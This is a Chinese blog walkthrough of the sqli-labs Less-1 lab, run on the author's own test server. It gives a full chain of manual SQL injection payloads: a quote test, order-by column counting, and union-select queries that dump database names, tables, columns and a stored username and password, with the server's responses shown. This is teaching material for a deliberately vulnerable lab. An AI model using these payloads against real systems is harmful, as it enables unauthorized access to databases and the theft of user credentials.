sqli-labs-less-1-手工注入
作者自己的VPS测试环境
1. sqli-less-1
http://106.54.35.126/Less-1/?id=1
判断是否存在sql注入
http://106.54.35.126/Less-1/?id=1'
http://106.54.35.126/Less-1/?id=1'or 1=1--+
判断目标有多少列,这里的order by是排序的作用
http://106.54.35.126/Less-1/?id=1'order by 3--+ 不报错
http://106.54.35.126/Less-1/?id=1'order by 4--+ 报错
根据上述就可以说明目标站点在使用的表里面只有3列
联合查询-union 作用就是将两个sql语句进行联合并执行,有一个要注意的点,union连接的前后两个sql语句选择的列是需要相同的,否则会报错,再说明下union all和union的区别就是增加了去重的功能
http://106.54.35.126/Less-1/?id=1'union select 1,22,24343--+
上述不管怎么select,只要保证只有3个数字位置即可,如果超过3个就会报错
如下:
http://106.54.35.126/Less-1/?id=1'union select 1,22,24343,55--+
上述查询是保证id是存在的情况下查询不报错,如果查询不存在,那么也不会报错,但是会爆出我们想要查询的内容,所以这里设置id=-1 看看
爆库
http://106.54.35.126/Less-1/?id=-1'union SELECT * FROM users WHERE id='-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+
获得如下信息:
Welcome Dhakkan
Your Login name:challenges,ctftraining,information_schema,mysql,performance_schema,security,test
Your Password:3
上述的查询语句原型如下:
SELECT * FROM users WHERE id='-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+ LIMIT 0,1
------------------------------------------------------------------------------
爆数据库security中的表
http://106.54.35.126/Less-1/?id=-1'union SELECT * FROM users WHERE id='-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
获得如下表信息:
Welcome Dhakkan
Your Login name:emails,referers,uagents,users
Your Password:3
上述查询语句的原型如下:
SELECT * FROM users WHERE id='-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ LIMIT 0,1
-------------------------------------------------------------------------------
爆users表的列
http://106.54.35.126/Less-1/?id=-1'union SELECT * FROM users WHERE id='-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
获得如下表的列
Welcome Dhakkan
Your Login name:id,username,password,ip,time,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
Your Password:3
上述原型查询语句如下:
SELECT * FROM users WHERE id='-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ LIMIT 0,1
---------------------------------------------------------------------------
爆数据
http://106.54.35.126/Less-1/?id=-1'union SELECT * FROM users WHERE id='-1'union select 1,username,password from users where id=5--+
获得如下数据:
Welcome Dhakkan
Your Login name:stupid
Your Password:stupidity
上述原型查询语句如下:
SELECT * FROM users WHERE id='-1'union select 1,username,password from users where id=5--+ LIMIT 0,1
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?